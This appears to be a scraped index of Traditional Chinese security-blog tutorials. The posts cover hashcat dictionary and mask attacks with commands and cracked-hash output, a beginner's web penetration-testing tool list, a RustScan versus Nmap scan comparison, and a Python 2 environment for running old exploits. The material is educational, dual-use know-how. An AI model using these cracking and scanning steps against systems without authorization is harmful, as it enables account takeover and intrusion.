Speed.#1.........: 18772 H/s (0.02ms) @ Accel:1024 Loops:1 Thr:64 Vec:1 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 3/3 (100.00%) Rejected.........: 0/3 (0.00%) Restore.Point....: 0/3 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: 1234 -\u0026gt; 3456 Hardware.Mon.#1..: Temp: 44c Util: 0% Core:1137MHz Mem:2505MHz Bus:16 81dc9bdb52d04dc20036dbd8313ed055:1234 這行表示 MD5 Hash 已被 Hashcat 破解成功，密碼是 1234。\nStraight Mode 是如此直覺，方便我們透過已知的字典檔進行密碼破解。請幫我分享這篇文章，給你的朋友。預告下一篇會是Combinator Attack。\n深入 hashcat 系列文章 深入 hashcat 系列：Mask Attack Mode 深入 hashcat 系列：Straight Attack Mode (字典攻擊模式) 深入 hashcat 系列：Combinator Attack Mode 深入 hashcat 系列：Hybrid Attack Mode (綜合攻擊模式) 深入 hashcat 系列：per-position Markov chain attack (上篇) hcstatgen 篇: per-position Markov chain attack – 深入 hashcat 系列文章 使用 hcstat2gen 產出 hcstat2 馬可夫鏈模型儲存格式: per-position Markov chain attack – 深入 hashcat 系列文章 使用 sp64 工具程式產出馬可夫鏈模型的字典清單 (Word generator) 使用 hashcat 產出馬可夫鏈模型的字典清單 (Word generator) ","permalink":"https://hack543.com/deep-dive-to-hashcat-straight-attack-mode/","summary":"\u003cp\u003e\u003ca href=\"https://hashcat.net/hashcat/\"\u003ehashcat\u003c/a\u003e 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\u003c/p\u003e","title":"深入 hashcat 系列：Straight Attack Mode (字典攻擊模式)"},{"content":"hashcat 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\n「深入 hashcat 系列」是針對想要深耕資安領域的你，所撰寫的一系列文章。每篇文章針對 hashcat 其中一個參數、參數值或功能，進行說明，並搭配實做指令範例，幫助你快速掌握 hashcat 。\n＊請留意文章中提到的工具軟體，請在授權環境下執行測試與使用，禁止在非授權環境下執行！\nPhoto by Michael Sum on Unsplash\nhashcat Mask Mode 接下來，要介紹 hashcat 其中一個攻擊模式 (Attack Mode) ，Mask Mode。攻擊模式 (Attack Mode) 在 hastcat 參數是 -a \u0026lt;num\u0026gt;，\u0026lt;num\u0026gt; 是數字的意思。Mask Mode 的數字號碼是 3。\n觀察人類取密碼的習慣，用傳統的暴力破解方式太沒效率，故 hashcat 發明了 Mask mode。比方說，如果要破解的密碼是 Bobby2003，由於人類幾乎不會把大寫字母放在第二個或第三個字元，所以可以利用 Mask mode 的規則，大幅降低破解時間。Mask mode 內建的代表符號如下：\n?u: 大寫字母 ?l: 小寫字母 ?d: 數字 ?s: 符號 ?h: 0-9, a-f ?H: 0-9, A-F ?a: 大寫字母、小寫字母、數字、與符號 ?b: 0x00-0xff 所以破解 Bobby2003，Mask Mode 參數可以寫成，\n-a 3 hash.txt ?u?l?l?l?l?d?d?d?d 再舉一個例子，字串 99zz 的 MD5 雜湊值(-m 0)，是 e1594afd390685fd4d9edbf4f42318ea 。\n利用 Mask mode 破解可以寫成 ：\nhashcat -m 0 -a 3 hash.txt ?d?d?l?l 要留意 pattern 「?d?d?l?l」要寫在最後面，否則會出現 「Token length exception No hashes loaded」的錯誤訊息。執行結果如下：\nhashcat (v5.1.0) starting... ... e1594afd390685fd4d9edbf4f42318ea:99zz Session..........: hashcat Status...........: Cracked Hash.Type........: MD5 Hash.Target......: e1594afd390685fd4d9edbf4f42318ea Time.Started.....: Sun Aug 28 09:28:56 2022 (0 secs) Time.Estimated...: Sun Aug 28 09:28:56 2022 (0 secs) Guess.Mask.......: ?d?d?l?l [4] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 139.0 MH/s (0.10ms) @ Accel:1024 Loops:10 Thr:256 Vec:1 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 67600/67600 (100.00%) Rejected.........: 0/67600 (0.00%) Restore.Point....: 0/6760 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-10 Iteration:0-10 Candidates.#1....: 12ss -\u0026gt; 67qf Hardware.Mon.#1..: Temp: 43c Util: 43% Core:1032MHz Mem:2505MHz Bus:16 ... 另外，還提供了客製化參數 ?1, ?2, ?3, ?4，可以個別用 -1 (--custom-charset1), -2 (--custom-charset2), -3 (--custom-charset3), -4 (--custom-charset4) 先行定義字母 pattern。\n比方說，要同時破解密碼字串 ab12 跟 cd34 ，Mask Mode 可以寫成以下規則：\n$ hashcat -m 0 -a 3 -1 ?l?d hash.txt ?1?1?1?1 執行結果如下：\nhashcat (v5.1.0) starting... ... 749d7048edd2de31c2c7a88d4d196254:ab12 9497926b4d270dc6e5a538e7b0d4c789:34cd Session..........: hashcat Status...........: Cracked Hash.Type........: MD5 Hash.Target......: hash.txt Time.Started.....: Sun Aug 28 09:37:48 2022 (0 secs) Time.Estimated...: Sun Aug 28 09:37:48 2022 (0 secs) Guess.Mask.......: ?1?1?1?1 [4] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 613.6 MH/s (1.25ms) @ Accel:256 Loops:36 Thr:256 Vec:1 Recovered........: 2/2 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 1679616/1679616 (100.00%) Rejected.........: 0/1679616 (0.00%) Restore.Point....: 0/46656 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-36 Iteration:0-36 Candidates.#1....: sari -\u0026gt; xqxv Hardware.Mon.#1..: Temp: 47c Util: 20% Core:1189MHz Mem:2505MHz Bus:16 以上設定只能固定密碼長度，比方說，如果想從 2 碼 破解到 4 碼，可以使用 --increment, --increment-min, --increment-max 參數。\n若要同時破解 「uu」 與 「99cc」的密碼字串。Mask Mode 可以寫成以下規則：\n$ hashcat -a 3 -1 ?l?d --increment --increment-min 2 --increment-max 4 hash.txt ?1?1?1?1 執行結果如下，觀察起來 hashcat 是會執行 3 次 (2碼, 3碼, 4碼)。\n6277e2a7446059985dc9bcf0a4ac1a8f:uu Session..........: hashcat Status...........: Exhausted Hash.Type........: MD5 Hash.Target......: hash.txt Time.Started.....: Sun Aug 28 09:45:18 2022 (0 secs) Time.Estimated...: Sun Aug 28 09:45:18 2022 (0 secs) Guess.Mask.......: ?1?1 [2] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 1/3 (33.33%) Speed.#1.........: 5654.4 kH/s (0.09ms) @ Accel:256 Loops:36 Thr:256 Vec:1 Recovered........: 1/2 (50.00%) Digests, 0/1 (0.00%) Salts Progress.........: 1296/1296 (100.00%) Rejected.........: 0/1296 (0.00%) Restore.Point....: 36/36 (100.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-36 Iteration:0-36 Candidates.#1....: sa -\u0026gt; xq Hardware.Mon.#1..: Temp: 43c Util: 40% Core:1032MHz Mem:2505MHz Bus:16 ... Session..........: hashcat Status...........: Exhausted Hash.Type........: MD5 Hash.Target......: hash.txt Time.Started.....: Sun Aug 28 09:45:18 2022 (0 secs) Time.Estimated...: Sun Aug 28 09:45:18 2022 (0 secs) Guess.Mask.......: ?1?1?1 [3] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 2/3 (66.67%) Speed.#1.........: 202.7 MH/s (0.09ms) @ Accel:256 Loops:36 Thr:256 Vec:1 Recovered........: 1/2 (50.00%) Digests, 0/1 (0.00%) Salts Progress.........: 46656/46656 (100.00%) Rejected.........: 0/46656 (0.00%) Restore.Point....: 1296/1296 (100.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-36 Iteration:0-36 Candidates.#1....: sar -\u0026gt; xqx Hardware.Mon.#1..: Temp: 44c Util: 64% Core:1110MHz Mem:2505MHz Bus:16 ... 8ac564e7709879bdd30a5f0815d8e6e1:99cc Session..........: hashcat Status...........: Cracked Hash.Type........: MD5 Hash.Target......: hash.txt Time.Started.....: Sun Aug 28 09:45:19 2022 (0 secs) Time.Estimated...: Sun Aug 28 09:45:19 2022 (0 secs) Guess.Mask.......: ?1?1?1?1 [4] Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined Guess.Queue......: 3/3 (100.00%) Speed.#1.........: 630.2 MH/s (1.26ms) @ Accel:256 Loops:36 Thr:256 Vec:1 Recovered........: 2/2 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 1679616/1679616 (100.00%) Rejected.........: 0/1679616 (0.00%) Restore.Point....: 0/46656 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-36 Iteration:0-36 Candidates.#1....: sari -\u0026gt; xqxv Hardware.Mon.#1..: Temp: 45c Util: 63% Core:1189MHz Mem:2505MHz Bus:16 Mask mode 是如此彈性，能幫助我們節省密碼破解時間。以上舉了4 個 Mask mode 的例子，希望能幫忙到讀者更能理解 Mask mode。如果你有問題，請你在下面的留言區留言，若你喜歡這篇文章，也請你幫忙分享給你的朋友。\n參考資料 https://hashcat.net/wiki/doku.php?id=mask_attack 深入 hashcat 系列文章 深入 hashcat 系列：Mask Attack Mode 深入 hashcat 系列：Straight Attack Mode (字典攻擊模式) 深入 hashcat 系列：Combinator Attack Mode 深入 hashcat 系列：Hybrid Attack Mode (綜合攻擊模式) 深入 hashcat 系列：per-position Markov chain attack (上篇) hcstatgen 篇: per-position Markov chain attack – 深入 hashcat 系列文章 使用 hcstat2gen 產出 hcstat2 馬可夫鏈模型儲存格式: per-position Markov chain attack – 深入 hashcat 系列文章 使用 sp64 工具程式產出馬可夫鏈模型的字典清單 (Word generator) 使用 hashcat 產出馬可夫鏈模型的字典清單 (Word generator) ","permalink":"https://hack543.com/deep-dive-hashcat-mask-attack-mode/","summary":"\u003cp\u003e\u003ca href=\"https://hashcat.net/hashcat/\"\u003ehashcat\u003c/a\u003e 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\u003c/p\u003e","title":"深入 hashcat 系列：Mask Attack Mode"},{"content":"網站滲透測試 (Web App Penetration Testing) 是模擬真實世界的駭客，攻擊網站主機。其目的是要及早發現網站的潛在資安弱點。\n提早發現網站的資安弱點，能有效降低營運風險。若能在網站上線前，發現弱點，更是能大幅降低弱點修補成本。\n而滲透測試操作過程不是無的放矢地攻擊網站，或是偷取網站資料。比較像是成人健檢，藉由一系列醫療檢驗項目，提早發現潛在的疾病。\n比起 滲透 IOT 裝置、硬體設備，新手從「網站滲透測試」領域入門，比較容易上手。「網站滲透測試」過程中得到的基礎知識，也能應用在其他測試標的中。\n接下來，文章會跟大家分享，新手學習「網站滲透測試」技術時，建議掌握的知識與工具。\n＊請留意文章中提到的工具軟體，請在授權環境下執行測試與使用，禁止在非授權環境下執行！讀者可利用虛擬機器軟體自行建立主機練習。\nPhoto by Daria Shevtsova on Unsplash.\nHTTP 協定 網站有分為靜態與動態網站。靜態網站常使用 HTML 、CSS 與 Javacript 撰寫，使用者無法跟靜態網站互動，只能瀏覽網頁。\n動態網站常使用網頁程式語言撰寫，例如 PHP、ASP.NET 、Python 或是 Ruby 語言等。網頁程式能讓讀者跟網站互動。比方說，留言、瀏覽人數、上傳圖片等。\n現今的網站大多是動態網站。\n無論使用何種網頁程式語言，使用者均是透過瀏覽器，用 HTTP 協定跟網站溝通。就像用英文跟世界上任何國家的外國人溝通一樣。\nHTTP 是 HyperText Transfer Protocol 的縮寫，維基百科中文翻作「超文本傳輸協定」。為什麼稱做「超」呢？因為 HTTP 協定所傳輸的文件內容稱為 HTML (HyperText Markup Language)，HTML 有一個劃時代的發明，叫做超連結 (Hyper Link)。因此，才稱為超文本。\n目前最廣泛使用的 HTTP 協定版本是 1.1 ，發佈於 1999 年的 RFC 2616。定義 URL 格式、HTTP 傳輸方法，比方說，GET、POST、HEAD、OPTIONS、TRACE 與 CONNECT。\n此外，亦建議新手了解 Content-Type 、Cookie 、Response Status Code(200、403、404、500)等協定內容。\n由於 HTTP 協定標準是存取網站的共通語言，你搞懂 HTTP 協定，就能自在地跟網站說話溝通，對網站滲透測試很有幫助。\n建議新手仍需要多瞭解 HTTP 協定內容，最好能以手動方式操作協定，加深印象。\n例如 POST 請求如下：\nPOST / HTTP/1.1 Host: hack543.com ... a=1\u0026amp;b=2\u0026amp;c=3 網站回應請求如下：\nHTTP/1.1 200 OK Date: Sat, 11 Jun 2022 00:03:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive ... 一開始，可以嘗試在瀏覽器按下「F12」，打開 網站開發者工具 ，再切換到 Network 分頁，點選你瀏覽網站的請求，觀察 Response Header 跟 Request Header 。抑或是，搭配本文提到的 網頁安全工具 Burp Suite 進行觀察。\nFirefox Web Developer Tools\nOWASP Top 10 OWASP Top 10 是最具權威的網頁攻擊風險類型列表排名，排名會列出前十名的網頁攻擊風險類型。每隔幾年 OWASP 協會會公告年度網頁風險類型排名，目前最新排名是 2021發布的。\n協會從過往弱點資料庫中，挑選 8 個網站類型風險，另外從社群問卷調查結果中，再挑選 2 個風險加入。\n就像國人十大癌症的排名統計，弱點類型排名清單代表當年度大多數網站的共通性弱點。排名越前面，代表該弱點類型最常被發現。熟悉這些弱點的攻防手法可更了解如何攻擊網站，甚至未來擔任防守方(藍軍)的相關工作，都有幫助。\nBurp Suite PortSwigger 公司開發的網頁安全工具 Burp Suite ，在網頁安全與滲透測試領域，市佔率極高。正如同 AutoCAD 在工程繪圖領域，Burp Suite 是網站滲透測試不可多得的好用工具。\n其特色是容易上手、外掛眾多 (BApps)、串接性強。Burp Suite使用情境常與瀏覽器搭配，Burp Suite 啟動本機的 Proxy 服務，在瀏覽器的 Proxy 設定中，填入 Burp Suite 所開啟的 Proxy 服務 IP 與 Port (通常為 127.0.0.1:8080)。\n如此一來，當瀏覽網頁時，Burp Suite 即能同步側錄到瀏覽網頁時，所有 HTTP 請求與回應的內容。\n此外，當匯入 Burp Suite 根憑證 (Root CA) 到電腦中，亦能側錄 HTTPS 網頁加密通訊的內容。\n而官方有提供社群版 (Burp Suite Community Edtion) 供免費下載，Kali Linux 亦內建 社群版本供使用。\nBurp Suite Professional 專業版 (訂閱制)，網站牌價一年一人份 $399 美金，比起社群版本額外提供的功能有專案儲存、完整的 Intruder、搜尋、網頁弱掃，以及 Collaborator 等功能。\n有心想要在此領域發展的讀者，也可考慮購買 Burp Suite Professional 版本授權。\n網頁目錄與檔案列舉工具 在網站滲透測試過程中，需要列舉目錄與檔案時，推薦使用 dirb、dirbuster、gobuster、ffuf 。這些都是很優秀的目錄與檔案列舉的開源軟體，搭配 Seclist 蒐集的字典檔，效果不錯。\n上述套件，在 Kali Linux 上亦可透過 apt 直接安裝使用 (seclist Kali 套件介紹)。\nNmap 與 RustScan Nmap 與 RustScan 是主機通訊埠掃描工具，目的是掃描目標主機開啟的網路通訊埠，並藉由掃描結果，擴大攻擊範圍。\n比方說，網站除了開啟標準的 Port 80 與 443 外，還另外開啟了遠端桌面服務 (Port 3389)。滲透測試過程中，除了網站外，也能另外嘗試登入主機的遠端桌面服務。\n若讀者想進一部了解 Nmap 跟 RustScan 工具的操作細節，可以參考我網站的文章，掃 port 最速工具軟體 – RustScan 與 9 個常見的 Nmap 通訊埠掃描情境。\nExploit Database 與 CVE Details 除了網站本身弱點外，若是網站安裝現成的軟體套件，也可能會有安全弱點。\n網站滲透測試過程中，可查看網站使用的軟體套件，是否已有被揭露資安弱點，或公開的弱點攻擊程式 (Exploit)。\nExploit 能透過 Exploit Database網站進行查詢與下載，而 CVE Details 網站也蒐集了所有列管的 CVE 弱點，查看 CVE Details 網站，能了解軟體套件版本是否有已揭露的資安弱點。\n實務上，會交互參照 CVE 與公開的 Exploit。\nPassword Cracking 滲透測試過程中，有時需暴力破解密碼。破解密碼有分兩種形式，線上 (Online) 跟離線 (Offline) 破解。線上破解會將欲猜測的密碼，傳送到伺服器驗證。而離線破解則是在測試人員電腦破解密碼。過程中，不會與目標伺服器互動。\n線上密碼破解工具，推薦使用 hydra 。廣泛支援多種協定，如 FTP、HTTP-Post、SSH 與 RDP 等。同時也推薦另外一套 medusa，比起 hydra，線上破解的速度較佳。\n而離線密碼破解常用情境是破解雜湊值，例如，下面這一串英文與數字，是 SHA512 crypt 雜湊演算法的運算結果。這類型的雜湊值對應常是 Linux 作業系統的登入密碼。如果能破解雜湊值，我們就能知道主機登入密碼。\n$6$913cuEJoFwGqAaxE$0cYcmpryAubhbbEEfp/zJZxC4xgBUm0a.bypVM.kdl7LeLD09Q76ikPwZhXp1oxHED/zvW8v5RM6OHtqyN2pe0 離線密碼破解工具推薦使用 Hashcat，還能利用顯示卡 GPU 加快破解速度。\n以下範例即是使用 Hashcat 成功破解 SHA512 crypt 雜湊值所對應的密碼，密碼是「123456」。參數 -m 1800 是破解 SHA512 crypt 雜湊，hash.txt 是儲存上述 SHA512 crypt 雜湊值，pass.lst 是字典檔。\n$ hashcat -m 1800 hash.txt pass.lst hashcat (v5.1.0) starting... .... $6$0R4Q3NdecYUn3XfF$/6ob4DR2VmnDs4MjuG6OKaOb13uxWZv86aLcyd4e0vyhYXI2Q0FKsXrqxCd5KzxEJyiyX7xsI1L3VZovBjCBG0:123456 Session..........: hashcat Status...........: Cracked Hash.Type........: sha512crypt $6$, SHA512 (Unix) Hash.Target......: $6$0R4Q3NdecYUn3XfF$/6ob4DR2VmnDs4MjuG6OKaOb13uxWZv...BjCBG0 Time.Started.....: Sun Jul 24 14:58:52 2022 (0 secs) Time.Estimated...: Sun Jul 24 14:58:52 2022 (0 secs) Guess.Base.......: File (pass.lst) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 38 H/s (0.76ms) @ Accel:64 Loops:32 Thr:32 Vec:1 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 5/5 (100.00%) Rejected.........: 0/5 (0.00%) Restore.Point....: 0/5 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4992-5000 Candidates.#1....: 1 -\u0026gt; 123456 Hardware.Mon.#1..: Temp: 50c Util: 83% Core:1189MHz Mem:2505MHz Bus:16 離線密碼破解工具，另外也推薦一套 John the ripper ，讀者可自行查閱程式手冊。\n對於 Hashcat 與 John the ripper 操作有興趣的讀者，我之後會再撰寫專文介紹，請大家敬請期待。\n結論 以上幫新手整理了網站滲透測試所需要的知識與工具清單。礙於篇幅與作者所學有限，無法包含全部的範疇，但希望有幫到新手讀者。\n如果你有問題，請你在下面的留言區留言，若你喜歡這篇文章，也請你幫忙分享給你的朋友。\n","permalink":"https://hack543.com/how-to-web-app-penetration-testing/","summary":"\u003cp\u003e網站滲透測試 (Web App Penetration Testing) 是模擬真實世界的駭客，攻擊網站主機。其目的是要及早發現網站的潛在資安弱點。\u003c/p\u003e\n\u003cp\u003e提早發現網站的資安弱點，能有效降低營運風險。若能在網站上線前，發現弱點，更是能大幅降低弱點修補成本。\u003c/p\u003e","title":"網站滲透測試 (Web App Penetration Testing) 新手的知識與裝備清單"},{"content":"前言 ＊請留意文章中提到的掃描工具軟體，請在授權環境下執行。\n若提到掃描通訊埠軟體，第一個想到的軟體一定是 老牌的 nmap。nmap 發展歷史悠久，擁有龐大的使用者社群，掃描的準確度佳，也有為數不少的擴充的 NSE 套件。但是， nmap 缺點就是掃描大量通訊埠 ( -p 1-65535 ) 時，速度很慢。\n掃描語法如下：\n$ nmap -sT -T4 -p 1-65535 -r 192.168.0.1 精選圖片來源: Github 上的 RustScan source code。\nRustScan 安裝與使用說明 今天本文的主角： RustScan ，是一套以Rust 程式語言所撰寫的掃描通訊埠軟體。能解決掃描大量通訊埠的效能問題。到官網依照安裝說明，安裝即可。\n以 Kali Linux 為例，先到 RustScan 的 Releases 頁面，下載 AMD 64 平台版本的deb 檔 (rustscan_2.0.1_amd64.deb)。並使用 dpkg 工具進行安裝。\n$ wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb .. $ sudo dpkg -i rustscan_2.0.1_amd64.deb Selecting previously unselected package rustscan. (Reading database ... 329668 files and directories currently installed.) Preparing to unpack rustscan_2.0.1_amd64.deb ... Unpacking rustscan (2.0.0) ... Setting up rustscan (2.0.0) ... Processing triggers for kali-menu (2021.4.1) ... RustScan 最簡單的掃描語法，如下：\n$ rustscan -a 192.168.0.1 --scripts none --ulimit 5000 .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \\ | `| | | .-. \\| {_} |.-._} } | | .-._} }\\ }/ /\\ \\| |\\ | `-\u0026#39; `-\u0026#39;`-----\u0026#39;`----\u0026#39; `-\u0026#39; `----\u0026#39; `---\u0026#39; `-\u0026#39; `-\u0026#39;`-\u0026#39; `-\u0026#39; The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- 🌍HACK THE PLANET🌍 [~] The config file is expected to be at \u0026#34;/home/kali/.rustscan.toml\u0026#34; [~] Automatically increasing ulimit value to 5000. Open 192.168.0.1:80 192.168.0.1 -\u0026gt; [80] 參數 -a 接的是掃描標的 IP，\u0026ndash;scripts 接 none 代表掃描結束後，不接續使用其他軟體(例如 nmap)。而 \u0026ndash;ulimit 則是設定 RustScan 即將啟動的 Process 的 File Descriptors 的系統上限 (ulimit) 改為 5000。\nulimit 原先設計用意是限制單一 Process 可佔用的系統資源數量。但現在電腦效能優越，使用 RustScan 若不修正 ulimit 數值，而 Linux 預設的 soft limit 太低(預設為 1024)時，則會導致 RustScan 發揮不出原本應有的速度。\n列出 Kali Linux 原有的 ulimit 設定：\n$ ulimit -a -t: cpu time (seconds) unlimited -f: file size (blocks) unlimited -d: data seg size (kbytes) unlimited -s: stack size (kbytes) 8192 -c: core file size (blocks) 0 -m: resident set size (kbytes) unlimited -u: processes 59564 -n: file descriptors 1024 -l: locked-in-memory size (kbytes) 1916636 -v: address space (kbytes) unlimited -x: file locks unlimited -i: pending signals 59564 -q: bytes in POSIX msg queues 819200 -e: max nice 0 -r: max rt priority 0 -N 15: unlimited ulimit -a 列出來是 soft limit。可以看到 file descriptors 預設上限是 1024。\n若掃瞄後要搭配其他的工具接續掃描，可以參考原廠此篇文件說明 - RustScan Script Engine。\n比較 RustScan 與 Nmap 進行全機掃 Port 速度 主機使用 VirtualBox 模擬一台 4 個 CPU、1.5 G 記憶體並安裝最新的 Kali Linux，都掃描同一台主機的 1- 65535 Ports。並使用 time 工具程式進行執行時間測量。\nNmap 掃描時間與結果如下：\n$ time nmap -sT -T4 -p 1-65535 192.168.0.1 Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-16 20:15 EST Nmap scan report for 192.168.0.1 Host is up (0.23s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 303.40 seconds real 303.42s user 2.82s sys 7.37s cpu 3% RustScan 掃描時間與結果如下：\n$ time rustscan -a 192.168.0.1 --scripts none --ulimit 5000 | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \\ | `| | | .-. \\| {_} |.-._} } | | .-._} }\\ }/ /\\ \\| |\\ | `-\u0026#39; `-\u0026#39;`-----\u0026#39;`----\u0026#39; `-\u0026#39; `----\u0026#39; `---\u0026#39; `-\u0026#39; `-\u0026#39;`-\u0026#39; `-\u0026#39; The Modern Day Port Scanner. ________________________________________ : https://discord.gg/GFrQsGy : : https://github.com/RustScan/RustScan : -------------------------------------- 😵 https://admin.tryhackme.com [~] The config file is expected to be at \u0026#34;/home/kali/.rustscan.toml\u0026#34; [~] Automatically increasing ulimit value to 5000. Open 192.168.0.1:80 192.168.0.1 -\u0026gt; [80] real 22.99s user 1.36s sys 4.85s cpu 27% 實測結果雖然 RustScan 沒有跑出像官方所宣稱的 3 秒鐘完賽，但 RustScan 的執行時間，比起 Nmap 足足快了 280 秒，效率上提昇了 13 倍。\n結論 本文並不是要 抨擊 Nmap 不好， 使用 RustScan 才是王道，而是要在合適情境挑選最適合的工具，完成任務。發揮資安專業工作者的價值。本站也有另外一篇 9個常見的 Nmap 通訊埠掃描情境，也歡迎讀者們點擊前往閱讀。\n如果你也喜歡這篇文章，歡迎分享給你的朋友。或是在底下留言，寫下你的想法。\n","permalink":"https://hack543.com/rustscan-intro/","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e＊請留意文章中提到的掃描工具軟體，請在授權環境下執行。\u003c/p\u003e\n\u003cp\u003e若提到掃描通訊埠軟體，第一個想到的軟體一定是 老牌的 \u003ca href=\"/nmap-tutorial/\"\u003enmap\u003c/a\u003e。nmap 發展歷史悠久，擁有龐大的使用者社群，掃描的準確度佳，也有為數不少的擴充的 NSE 套件。但是， nmap 缺點就是掃描大量通訊埠 ( -p 1-65535 ) 時，速度很慢。\u003c/p\u003e","title":"掃 port 最速工具軟體 - RustScan"},{"content":"前言 Python 軟體基金會(Python Software Foundation) 已於 2020 年 1 月 1 日停止發展與支援 Python 2 版本，目前主流的 Linux Distribution 的 預設 Python 程式版本都已移轉至 Python 3 版本，也包含 Kali Linux。\n由於 Kali Linux 為了向前相容，預設的 /usr/bin/python 程式仍指向 Python 2 版本，但 Python 的模組管理程式 /usr/bin/pip，卻不是 Python 2 的版本，而是Python 3 的版本。\n結論就是，Kali Linux 目前內建的 pip 程式，已經無法安裝 Python 2 模組了。\n而且 Python 2 版本的pip 套件 python-pip，也無法再安裝取得 。\n而 Exploit-DB 網站仍有早期以 Python 2 撰寫的exploit 攻擊程式，若無法安裝 Python 2 的模組，會導致無法執行這些攻擊程式。\n精選圖片來源：The Python Logo\n解決辦法 安裝 Python3 的 virtualenv 套件。利用 virtualenv 指令，建立一個 Python 2 的虛擬執行環境，來執行這些早期的 exploit 程式。\n虛擬環境包含 Python 2 程式、Python 2 版本的 pip 程式、模組安裝資料夾\u0026hellip;等。\n步驟如下：\nSTEP 1 安裝 virtualenv 套件\n$ sudo apt install virtualenv STEP 2 確認 Python 版本\n$ /usr/bin/python --version Python 2.7.18 使用 Kali Linux 內建的 python 2 程式(/usr/bin/python)，並確認其版本為 Python 2.7.18 。接下來使用的 Python 2 版本都會是 2.7.18，如果你有安裝其他 2.x 版本的 Python的需求，可使用 pyenv 程式。\nSTEP 3 建立 Python 2.7.18 的虛擬執行環境\n$ virtualenv -p /usr/bin/python venv created virtual environment CPython2.7.18.final.0-64 in 136ms creator CPython2Posix(dest=/home/kali/venv, clear=False, no_vcs_ignore=False, global=False) seeder FromAppData(download=False, pip=bundle, setuptools=bundle, wheel=bundle, via=copy, app_data_dir=/home/kali/.local/share/virtualenv) added seed packages: pip==20.3.4, setuptools==44.1.1, wheel==0.37.0 activators BashActivator,CShellActivator,FishActivator,NushellActivator,PowerShellActivator,PythonActivator -p 參數是指虛擬環境的 Python 程式的引用路徑，範例是 /usr/bin/python ，也就是 Python 2.7.18 版本。venv 是虛擬執行環境的資料夾名稱，資料夾名稱可自由命名，例如改為 foo。\nvirtualenv 程式會將虛擬執行環境需要的素材，放置在這個資料夾中。\nSTEP 4 進入 Python 2.7.18 版本程式虛擬執行環境\n┌──(kali㉿kali)-[~] └─$ source venv/bin/activate ┌──(venv)─(kali㉿kali)-[~] └─$ 執行 source 指令就是讓目前的終端機，能進行 Python 2.7.18 的虛擬執行環境，之後在這個環境下安裝 Python 2 模組，都不會影響作業系統 的 Python 3 設定。\nsource 指令執行成功後，會在終端機的 PS1 字串前面多一個 **(venv)**的提示。之後，所有的執行指令都會在這個虛擬環境執行。\nSTEP 5 安裝 impacket 模組來測試\n此處使用的 pip 程式，是虛擬環境下 Python 2.7.18 版本的 pip，因此執行時會印出 Python 2.7 已不支援的提示訊息。此外，安裝時，也會一併安裝 impacket 其他相依性模組。\n(venv) $ pip install impacket DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality. Collecting impacket Downloading impacket-0.9.24.tar.gz (7.1 MB) |████████████████████████████████| 7.1 MB 3.9 MB/s Collecting pyasn1\u0026gt;=0.2.3 Downloading pyasn1-0.4.8-py2.py3-none-any.whl (77 kB) |████████████████████████████████| 77 kB 1.4 MB/s Collecting pycryptodomex Downloading pycryptodomex-3.11.0-cp27-cp27mu-manylinux2010_x86_64.whl (1.9 MB) |████████████████████████████████| 1.9 MB 1.9 MB/s Collecting pyOpenSSL\u0026gt;=0.16.2 Downloading pyOpenSSL-21.0.0-py2.py3-none-any.whl (55 kB) |████████████████████████████████| 55 kB 1.5 MB/s Collecting six Downloading six-1.16.0-py2.py3-none-any.whl (11 kB) Collecting ldap3!=2.5.0,!=2.5.2,!=2.6,\u0026gt;=2.5 Downloading ldap3-2.9.1-py2.py3-none-any.whl (432 kB) |████████████████████████████████| 432 kB 1.7 MB/s Collecting ldapdomaindump\u0026gt;=0.9.0 Downloading ldapdomaindump-0.9.3-py2-none-any.whl (18 kB) Collecting flask\u0026gt;=1.0 Downloading Flask-1.1.4-py2.py3-none-any.whl (94 kB) |████████████████████████████████| 94 kB 1.4 MB/s 